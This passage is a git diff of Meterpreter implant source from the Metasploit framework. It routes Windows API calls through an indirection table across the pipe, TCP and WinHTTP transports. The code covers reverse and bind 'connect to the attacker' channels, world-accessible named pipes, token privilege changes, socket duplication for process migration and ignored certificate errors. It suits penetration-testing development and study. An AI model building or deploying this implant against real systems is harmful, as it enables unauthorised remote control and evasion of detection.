SID_IDENTIFIER_AUTHORITY sidWorld = SECURITY_WORLD_SID_AUTHORITY; PSID sidEveryone = NULL; - if (!AllocateAndInitializeSid(&sidWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &sidEveryone)) + if (!met_api->win_api.advapi32.AllocateAndInitializeSid(&sidWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &sidEveryone)) { dprintf("[NP-SERVER] AllocateAndInitializeSid failed: %u", GetLastError()); return; @@ -304,9 +284,9 @@ VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa) ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; ea.Trustee.ptstrName = (LPWSTR)sidEveryone; - //PACL dacl = (PACL)LocalAlloc(LPTR, 256); + //PACL dacl = (PACL)met_api->win_api.kernel32.LocalAlloc(LPTR, 256); PACL dacl = NULL; - DWORD result = SetEntriesInAclW(1, &ea, NULL, &dacl); + DWORD result = met_api->win_api.advapi32.SetEntriesInAclW(1, &ea, NULL, &dacl); if (result != ERROR_SUCCESS) { dprintf("[NP-SERVER] SetEntriesInAclW failed: %u", result); @@ -316,14 +296,14 @@ VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa) // set up the sacl SID_IDENTIFIER_AUTHORITY sidLabel = SECURITY_MANDATORY_LABEL_AUTHORITY; PSID sidLow = NULL; - if (!AllocateAndInitializeSid(&sidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &sidLow)) + if (!met_api->win_api.advapi32.AllocateAndInitializeSid(&sidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &sidLow)) { dprintf("[NP-SERVER] AllocateAndInitializeSid failed: %u", GetLastError()); } dprintf("[NP-SERVER] sidLow: %p", dacl); - PACL sacl = (PACL)LocalAlloc(LPTR, 256); - if (!InitializeAcl(sacl, 256, ACL_REVISION_DS)) + PACL sacl = (PACL)met_api->win_api.kernel32.LocalAlloc(LPTR, 256); + if (!met_api->win_api.advapi32.InitializeAcl(sacl, 256, ACL_REVISION_DS)) { dprintf("[NP-SERVER] InitializeAcl failed: %u", GetLastError()); } @@ -334,20 +314,20 @@ VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa) } // now build the descriptor - PSECURITY_DESCRIPTOR sd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); - if (!InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION)) + PSECURITY_DESCRIPTOR sd = (PSECURITY_DESCRIPTOR)met_api->win_api.kernel32.LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); + if (!met_api->win_api.advapi32.InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION)) { dprintf("[NP-SERVER] InitializeSecurityDescriptor failed: %u", GetLastError()); } // add the dacl - if (!SetSecurityDescriptorDacl(sd, TRUE, dacl, FALSE)) + if (!met_api->win_api.advapi32.SetSecurityDescriptorDacl(sd, TRUE, dacl, FALSE)) { dprintf("[NP-SERVER] SetSecurityDescriptorDacl failed: %u", GetLastError()); } // now the sacl - if (!SetSecurityDescriptorSacl(sd, TRUE, sacl, FALSE)) + if (!met_api->win_api.advapi32.SetSecurityDescriptorSacl(sd, TRUE, sacl, FALSE)) { dprintf("[NP-SERVER] SetSecurityDescriptorSacl failed: %u", GetLastError()); } @@ -365,13 +345,13 @@ DWORD toggle_privilege(LPCWSTR privName, BOOL enable, BOOL* wasEnabled) LUID luid; DWORD tpLen; - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) + if (!met_api->win_api.advapi32.OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) { dprintf("[NP-PRIV] Couldn't open process token: %u (%x)", GetLastError(), GetLastError()); return GetLastError(); } - if (!LookupPrivilegeValueW(NULL, privName, &luid)) + if (!met_api->win_api.advapi32.LookupPrivilegeValueW(NULL, privName, &luid)) { dprintf("[NP-PRIV] Couldn't look up the value: %u (%x)", GetLastError(), GetLastError()); return GetLastError(); @@ -381,7 +361,7 @@ DWORD toggle_privilege(LPCWSTR privName, BOOL enable, BOOL* wasEnabled) tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0; - if (!AdjustTokenPrivileges(accessToken, FALSE, &tp, sizeof(tp), &prevTp, &tpLen)) + if (!met_api->win_api.advapi32.AdjustTokenPrivileges(accessToken, FALSE, &tp, sizeof(tp), &prevTp, &tpLen)) { dprintf("[NP-PRIV] Couldn't adjust the token privs: %u (%x)", GetLastError(), GetLastError()); return GetLastError(); @@ -432,14 +412,14 @@ DWORD create_pipe_server_instance(NamedPipeContext* ctx) dprintf("[NP-SERVER] Creating the handler event"); // This must be signalled, so that the connect event kicks off on the new thread. - ctx->read_overlap.hEvent = CreateEvent(NULL, TRUE, TRUE, NULL); + ctx->read_overlap.hEvent = met_api->win_api.kernel32.CreateEventA(NULL, TRUE, TRUE, NULL); if (ctx->read_overlap.hEvent == NULL) { BREAK_ON_ERROR("[NP-SERVER] Failed to create connect event for read overlap."); } // this should not be signalled as it's just for handling named pipe writes. - ctx->write_overlap.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + ctx->write_overlap.hEvent = met_api->win_api.kernel32.CreateEventA(NULL, TRUE, FALSE, NULL); if (ctx->write_overlap.hEvent == NULL) { BREAK_ON_ERROR("[NP-SERVER] Failed to create connect event for read overlap."); diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c index 90e9bc011..3c32b9615 100644 --- a/c/meterpreter/source/metsrv/server_setup.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -24,38 +24,11 @@ int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep) */ DWORD server_sessionid() { - typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id ); - - static PROCESSIDTOSESSIONID processIdToSessionId = NULL; - HMODULE kernel = NULL; DWORD sessionId = 0; - do - { - if (!processIdToSessionId) - { - kernel = met_api->win_api.kernel32.LoadLibraryA("kernel32.dll"); - if (kernel) - { - processIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress(kernel, "ProcessIdToSessionId"); - } - } - - if (!processIdToSessionId) - { - break; - } - - if (!processIdToSessionId(GetCurrentProcessId(), &sessionId)) - { - sessionId = -1; - } - - } while( 0 ); - - if (kernel) + if (!met_api->win_api.kernel32.ProcessIdToSessionId(GetCurrentProcessId(), &sessionId)) { - met_api->win_api.kernel32.FreeLibrary(kernel); + sessionId = -1; } return sessionId; @@ -394,9 +367,9 @@ DWORD server_setup(MetsrvConfig* config, Packet* configPacket) load_stageless_extensions(remote, configPacket); // Store our process token - if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) + if (!met_api->win_api.advapi32.OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) { - OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token); + met_api->win_api.advapi32.OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token); } if (scheduler_initialize(remote) != ERROR_SUCCESS) @@ -411,10 +384,10 @@ DWORD server_setup(MetsrvConfig* config, Packet* configPacket) // Save the initial session/station/desktop names... remote->orig_sess_id = server_sessionid(); remote->curr_sess_id = remote->orig_sess_id; - GetUserObjectInformationA(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL); + met_api->win_api.user32.GetUserObjectInformationA(met_api->win_api.user32.GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL); remote->orig_station_name = _strdup(stationName); remote->curr_station_name = _strdup(stationName); - GetUserObjectInformationA(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL); + met_api->win_api.user32.GetUserObjectInformationA(met_api->win_api.user32.GetThreadDesktop(met_api->win_api.kernel32.GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL); remote->orig_desktop_name = _strdup(desktopName); remote->curr_desktop_name = _strdup(desktopName); diff --git a/c/meterpreter/source/metsrv/server_transport_named_pipe.c b/c/meterpreter/source/metsrv/server_transport_named_pipe.c index 5784b9698..adabc573f 100644 --- a/c/meterpreter/source/metsrv/server_transport_named_pipe.c +++ b/c/meterpreter/source/metsrv/server_transport_named_pipe.c @@ -39,7 +39,7 @@ static DWORD server_pipe_poll(Remote* remote, long timeout) lock_acquire(remote->lock); vdprintf("[NP DISPATCH] testing for data on the pipe, making sure there's enough for a packet header"); - BOOL ready = PeekNamedPipe(ctx->pipe, NULL, 0, NULL, &bytesAvailable, NULL) && bytesAvailable >= sizeof(PacketHeader); + BOOL ready = met_api->win_api.kernel32.PeekNamedPipe(ctx->pipe, NULL, 0, NULL, &bytesAvailable, NULL) && bytesAvailable >= sizeof(PacketHeader); DWORD result = GetLastError(); lock_release(remote->lock); @@ -55,7 +55,7 @@ static DWORD server_pipe_poll(Remote* remote, long timeout) { // simulate a wait so that we don't bash the crap out of the CPU? vdprintf("[NP DISPATCH] pipe data not found, sleeping (error %u)", GetLastError()); - Sleep(timeout); + met_api->win_api.kernel32.Sleep(timeout); result = ERROR_NO_DATA; } } @@ -75,7 +75,7 @@ DWORD read_raw_bytes_to_buffer(NamedPipeTransportContext* ctx, LPBYTE buffer, DW { dprintf("[PIPE] Trying to read %u (0x%x) bytes", min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead), min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead)); // read the bytes fromi there. - if (!ReadFile(ctx->pipe, buffer + *bytesRead, min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead), &bytesReadThisIteration, NULL)) + if (!met_api->win_api.kernel32.ReadFile(ctx->pipe, buffer + *bytesRead, min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead), &bytesReadThisIteration, NULL)) { result = GetLastError(); dprintf("[PIPE] ReadFile returned error %u 0x%x", result, result); @@ -188,7 +188,7 @@ static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet) memcpy_s(remote->session_guid, sizeof(remote->session_guid), header.session_guid, sizeof(header.session_guid)); } - payloadLength = ntohl(header.length) - sizeof(TlvHeader); + payloadLength = met_api->win_api.ws2_32.ntohl(header.length) - sizeof(TlvHeader); dprintf("[PIPE] Payload length is %u 0x%08x", payloadLength, payloadLength); DWORD packetSize = sizeof(PacketHeader) + payloadLength; dprintf("[PIPE] total buffer size for the packet is %u 0x%08x", packetSize, packetSize); @@ -383,7 +383,7 @@ static HANDLE reverse_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) do { dprintf("[NP CONFIGURE] pipe name is %S, attempting to create", pipe_name); - hPipe = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + hPipe = met_api->win_api.kernel32.CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hPipe != INVALID_HANDLE_VALUE) { break; @@ -415,7 +415,7 @@ static HANDLE bind_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) { SECURITY_ATTRIBUTES sa = { 0 }; create_pipe_security_attributes(&sa); // allow access anyone - hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, + hPipe = met_api->win_api.kernel32.CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, &sa); result = GetLastError(); if (wasEnabled == FALSE) @@ -427,7 +427,7 @@ static HANDLE bind_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) if (hPipe == INVALID_HANDLE_VALUE) { // Fallback on a pipe with simpler security attributes - hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, + hPipe = met_api->win_api.kernel32.CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, NULL); result = GetLastError(); } @@ -517,7 +517,7 @@ static DWORD configure_named_pipe_connection(Transport* transport) { // Configure PIPE_WAIT. Stager doesn't do this because ConnectNamedPipe may never return. DWORD mode = 0; - SetNamedPipeHandleState((HANDLE)ctx->pipe, &mode, NULL, NULL); + met_api->win_api.kernel32.SetNamedPipeHandleState((HANDLE)ctx->pipe, &mode, NULL, NULL); dprintf("[NP] Connection already running on %u", ctx->pipe); } else diff --git a/c/meterpreter/source/metsrv/server_transport_tcp.c b/c/meterpreter/source/metsrv/server_transport_tcp.c index 99d7c32f6..4ecb78697 100644 --- a/c/meterpreter/source/metsrv/server_transport_tcp.c +++ b/c/meterpreter/source/metsrv/server_transport_tcp.c @@ -36,7 +36,7 @@ static DWORD reverse_tcp_run(SOCKET reverseSocket, SOCKADDR* sockAddr, int sockA do { int retryStart = current_unix_timestamp(); - if ((result = connect(reverseSocket, sockAddr, sockAddrSize)) != SOCKET_ERROR) + if ((result = met_api->win_api.ws2_32.connect(reverseSocket, sockAddr, sockAddrSize)) != SOCKET_ERROR) { break; } @@ -47,7 +47,7 @@ static DWORD reverse_tcp_run(SOCKET reverseSocket, SOCKADDR* sockAddr, int sockA if (result == SOCKET_ERROR) { - closesocket(reverseSocket); + met_api->win_api.ws2_32.closesocket(reverseSocket); } return result; @@ -67,20 +67,20 @@ static DWORD reverse_tcp4(const char* host, u_short port, DWORD retryTotal, DWOR // start by attempting to fire up Winsock. WSADATA wsaData = { 0 }; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) + if (met_api->win_api.ws2_32.WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { - return WSAGetLastError(); + return met_api->win_api.ws2_32.WSAGetLastError(); } // prepare to connect to the attacker - SOCKET socketHandle = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - struct hostent* target = gethostbyname(host); - char* targetIp = inet_ntoa(*(struct in_addr *)*target->h_addr_list); + SOCKET socketHandle = met_api->win_api.ws2_32.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + struct hostent* target = met_api->win_api.ws2_32.gethostbyname(host); + char* targetIp = met_api->win_api.ws2_32.inet_ntoa(*(struct in_addr *)*target->h_addr_list); SOCKADDR_IN sock = { 0 }; - sock.sin_addr.s_addr = inet_addr(targetIp); + sock.sin_addr.s_addr = met_api->win_api.ws2_32.inet_addr(targetIp); sock.sin_family = AF_INET; - sock.sin_port = htons(port); + sock.sin_port = met_api->win_api.ws2_32.htons(port); DWORD result = reverse_tcp_run(socketHandle, (SOCKADDR*)&sock, sizeof(sock), retryTotal, retryWait); @@ -107,9 +107,9 @@ static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, // start by attempting to fire up Winsock. WSADATA wsaData = { 0 }; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) + if (met_api->win_api.ws2_32.WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { - return WSAGetLastError(); + return met_api->win_api.ws2_32.WSAGetLastError(); } ADDRINFO hints = { 0 }; @@ -118,18 +118,18 @@ static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, hints.ai_protocol = IPPROTO_TCP; LPADDRINFO addresses; - if (getaddrinfo(host, service, &hints, &addresses) != 0) + if (met_api->win_api.ws2_32.getaddrinfo(host, service, &hints, &addresses) != 0) { - return WSAGetLastError(); + return met_api->win_api.ws2_32.WSAGetLastError(); } // prepare to connect to the attacker - SOCKET socketHandle = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); + SOCKET socketHandle = met_api->win_api.ws2_32.socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); if (socketHandle == INVALID_SOCKET) { dprintf("[STAGELESS IPV6] failed to connect to attacker"); - return WSAGetLastError(); + return met_api->win_api.ws2_32.WSAGetLastError(); } DWORD result = ERROR_SUCCESS; @@ -141,11 +141,11 @@ static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, { ((LPSOCKADDR_IN6)address->ai_addr)->sin6_scope_id = scopeId; - if ((result = connect(socketHandle, address->ai_addr, (int)address->ai_addrlen)) != SOCKET_ERROR) + if ((result = met_api->win_api.ws2_32.connect(socketHandle, address->ai_addr, (int)address->ai_addrlen)) != SOCKET_ERROR) { dprintf("[STAGELESS IPV6] Socket successfully connected"); *socketBuffer = socketHandle; - freeaddrinfo(addresses); + met_api->win_api.ws2_32.freeaddrinfo(addresses); return ERROR_SUCCESS; } } @@ -154,8 +154,8 @@ static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, sleep(retryWait); } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); - closesocket(socketHandle); - freeaddrinfo(addresses); + met_api->win_api.ws2_32.closesocket(socketHandle); + met_api->win_api.ws2_32.freeaddrinfo(addresses); return result; } @@ -173,31 +173,31 @@ static DWORD bind_tcp_run(SOCKET listenSocket, SOCKADDR* sockAddr, int sockAddrS DWORD result = ERROR_SUCCESS; do { - if (bind(listenSocket, sockAddr, sockAddrSize) == SOCKET_ERROR) + if (met_api->win_api.ws2_32.bind(listenSocket, sockAddr, sockAddrSize) == SOCKET_ERROR) { - result = WSAGetLastError(); + result = met_api->win_api.ws2_32.WSAGetLastError(); break; } - if (listen(listenSocket, 1) == SOCKET_ERROR) + if (met_api->win_api.ws2_32.listen(listenSocket, 1) == SOCKET_ERROR) { - result = WSAGetLastError(); + result = met_api->win_api.ws2_32.WSAGetLastError(); break; } // Setup, ready to go, now wait for the connection. - SOCKET acceptSocket = accept(listenSocket, NULL, NULL); + SOCKET acceptSocket = met_api->win_api.ws2_32.accept(listenSocket, NULL, NULL); if (acceptSocket == INVALID_SOCKET) { - result = WSAGetLastError(); + result = met_api->win_api.ws2_32.WSAGetLastError(); break; } *acceptSocketBuffer = acceptSocket; } while (0); - closesocket(listenSocket); + met_api->win_api.ws2_32.closesocket(listenSocket); return result; } @@ -214,16 +214,16 @@ static DWORD bind_tcp(u_short port, SOCKET* socketBuffer) // start by attempting to fire up Winsock. WSADATA wsaData = { 0 }; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) + if (met_api->win_api.ws2_32.WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { - return WSAGetLastError(); + return met_api->win_api.ws2_32.WSAGetLastError(); } // prepare a connection listener for the attacker to connect to, and we // attempt to bind to both ipv6 and ipv4 by default, and fallback to ipv4 // only if the process fails. BOOL v4Fallback = FALSE; - SOCKET listenSocket = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); + SOCKET listenSocket = met_api->win_api.ws2_32.socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); if (listenSocket == INVALID_SOCKET) { @@ -233,13 +233,13 @@ static DWORD bind_tcp(u_short port, SOCKET* socketBuffer) else { int no = 0; - if (setsockopt(listenSocket, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) + if (met_api->win_api.ws2_32.setsockopt(listenSocket, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) { // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common // so instead, we'll just revert back to v4 and listen on that one address instead. dprintf("[BIND] Unable to remove IPV6_ONLY option"); - closesocket(listenSocket); + met_api->win_api.ws2_32.closesocket(listenSocket); v4Fallback = TRUE; } } @@ -247,7 +247,7 @@ static DWORD bind_tcp(u_short port, SOCKET* socketBuffer) if (v4Fallback) { dprintf("[BIND] Falling back to IPV4"); - listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + listenSocket = met_api->win_api.ws2_32.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); } struct sockaddr_in6 sockAddr = { 0 }; @@ -255,15 +255,15 @@ static DWORD bind_tcp(u_short port, SOCKET* socketBuffer) if (v4Fallback) { struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr; - v4Addr->sin_addr.s_addr = htons(INADDR_ANY); + v4Addr->sin_addr.s_addr = met_api->win_api.ws2_32.htons(INADDR_ANY); v4Addr->sin_family = AF_INET; - v4Addr->sin_port = htons(port); + v4Addr->sin_port = met_api->win_api.ws2_32.htons(port); } else { sockAddr.sin6_addr = in6addr_any; sockAddr.sin6_family = AF_INET6; - sockAddr.sin6_port = htons(port); + sockAddr.sin6_port = met_api->win_api.ws2_32.htons(port); } return bind_tcp_run(listenSocket, (SOCKADDR*)&sockAddr, v4Fallback ? sizeof(struct sockaddr_in) : sizeof(struct sockaddr_in6), socketBuffer); @@ -290,7 +290,7 @@ static LONG server_socket_poll(Remote* remote, long timeout) tv.tv_sec = 0; tv.tv_usec = timeout; - result = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv); + result = met_api->win_api.ws2_32.select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv); lock_release(remote->lock); @@ -320,7 +320,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet) // Read the packet length while (inHeader) { - if ((bytesRead = recv(ctx->fd, ((PCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0) + if ((bytesRead = met_api->win_api.ws2_32.recv(ctx->fd, ((PCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0) { SetLastError(ERROR_NOT_FOUND); goto out; @@ -365,7 +365,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet) while (bytesToRead > 0) { - int bytesRead = recv(ctx->fd, buffer, min(sizeof(buffer), bytesToRead), 0); + int bytesRead = met_api->win_api.ws2_32.recv(ctx->fd, buffer, min(sizeof(buffer), bytesToRead), 0); if (bytesRead < 0) { @@ -402,7 +402,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet) vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); #endif - payloadLength = ntohl(header.length) - sizeof(TlvHeader); + payloadLength = met_api->win_api.ws2_32.ntohl(header.length) - sizeof(TlvHeader); vdprintf("[TCP] Payload length is %d", payloadLength); DWORD packetSize = sizeof(PacketHeader) + payloadLength; vdprintf("[TCP] total buffer size for the packet is %d", packetSize); @@ -425,7 +425,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet) // Read the payload while (payloadBytesLeft > 0) { - if ((bytesRead = recv(ctx->fd, (PCHAR)(payload + payloadLength - payloadBytesLeft), payloadBytesLeft, 0)) <= 0) + if ((bytesRead = met_api->win_api.ws2_32.recv(ctx->fd, (PCHAR)(payload + payloadLength - payloadBytesLeft), payloadBytesLeft, 0)) <= 0) { if (GetLastError() == WSAEWOULDBLOCK) @@ -631,7 +631,7 @@ DWORD THREADCALL cleanup_socket(THREAD* thread) dprintf("[TCP] waiting for disconnect from remote"); // loop until FD_CLOSE comes through. - while ((result = recv(fd, buf, sizeof(buf), 0)) != 0) + while ((result = met_api->win_api.ws2_32.recv(fd, buf, sizeof(buf), 0)) != 0) { if (result <= 0) { @@ -640,7 +640,7 @@ DWORD THREADCALL cleanup_socket(THREAD* thread) } dprintf("[TCP] disconnect received, cleaning up"); - closesocket(fd); + met_api->win_api.ws2_32.closesocket(fd); thread_destroy(thread); return EXIT_SUCCESS; @@ -663,7 +663,7 @@ static void transport_reset_tcp(Transport* transport, BOOL shuttingDown) { dprintf("[TCP] Transport is shutting down"); // we can terminate right here, given that we're closing up - closesocket(ctx->fd); + met_api->win_api.ws2_32.closesocket(ctx->fd); } else { @@ -757,7 +757,7 @@ static DWORD configure_tcp_connection(Transport* transport) dprintf("[SERVER] Looking good, FORWARD!"); // Do not allow the file descriptor to be inherited by child processes - SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0); + met_api->win_api.kernel32.SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0); transport->comms_last_packet = current_unix_timestamp(); } @@ -782,7 +782,7 @@ DWORD packet_transmit_tcp(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLengt while (idx < rawPacketLength) { - result = send(ctx->fd, (PCHAR)(rawPacket + idx), rawPacketLength - idx, 0); + result = met_api->win_api.ws2_32.send(ctx->fd, (PCHAR)(rawPacket + idx), rawPacketLength - idx, 0); if (result < 0) { @@ -841,10 +841,10 @@ static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId } // Duplicate the socket for the target process - if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR) + if (met_api->win_api.ws2_32.WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR) { free(ctx); - return WSAGetLastError(); + return met_api->win_api.ws2_32.WSAGetLastError(); } *contextSize = sizeof(TCPMIGRATECONTEXT); diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 5b365619d..864a5fe72 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -41,7 +41,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons PWSTR uri = generate_uri(ctx, conn); vdprintf("[%s] opening request on connection %x to %S", direction, conn->connection, uri); - hReq = WinHttpOpenRequest(conn->connection, isGet ? L"GET" : L"POST", uri, NULL, NULL, NULL, flags); + hReq = met_api->win_api.winhttp.WinHttpOpenRequest(conn->connection, isGet ? L"GET" : L"POST", uri, NULL, NULL, NULL, flags); free(uri); @@ -59,7 +59,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons if (!ctx->proxy_configured) { WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ieConfig = { 0 }; - if (WinHttpGetIEProxyConfigForCurrentUser(&ieConfig)) + if (met_api->win_api.winhttp.WinHttpGetIEProxyConfigForCurrentUser(&ieConfig)) { dprintf("[PROXY] Got IE configuration"); dprintf("[PROXY] AutoDetect: %s", ieConfig.fAutoDetect ? "yes" : "no"); @@ -90,7 +90,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons } autoProxyOpts.fAutoLogonIfChallenged = TRUE; - if (WinHttpGetProxyForUrl(conn->internet, ctx->url, &autoProxyOpts, &proxyInfo)) + if (met_api->win_api.winhttp.WinHttpGetProxyForUrl(conn->internet, ctx->url, &autoProxyOpts, &proxyInfo)) { ctx->proxy_for_url = calloc(1, sizeof(WINHTTP_PROXY_INFO)); memcpy(ctx->proxy_for_url, &proxyInfo, sizeof(WINHTTP_PROXY_INFO)); @@ -132,7 +132,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons } if (ctx->proxy_for_url && - !WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY, ctx->proxy_for_url, sizeof(WINHTTP_PROXY_INFO))) + !met_api->win_api.winhttp.WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY, ctx->proxy_for_url, sizeof(WINHTTP_PROXY_INFO))) { dprintf("[%s] Unable to set proxy options: %u", GetLastError()); } @@ -142,7 +142,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons if (ctx->proxy_user) { dprintf("[%s] Setting proxy username to %S", direction, ctx->proxy_user); - if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)(wcslen(ctx->proxy_user)))) + if (!met_api->win_api.winhttp.WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)(wcslen(ctx->proxy_user)))) { dprintf("[%s] Failed to set username %u", direction, GetLastError()); } @@ -150,7 +150,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons if (ctx->proxy_pass) { dprintf("[%s] Setting proxy password to %S", direction, ctx->proxy_pass); - if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)(wcslen(ctx->proxy_pass)))) + if (!met_api->win_api.winhttp.WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)(wcslen(ctx->proxy_pass)))) { dprintf("[%s] Failed to set password %u", direction, GetLastError()); } @@ -163,7 +163,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | 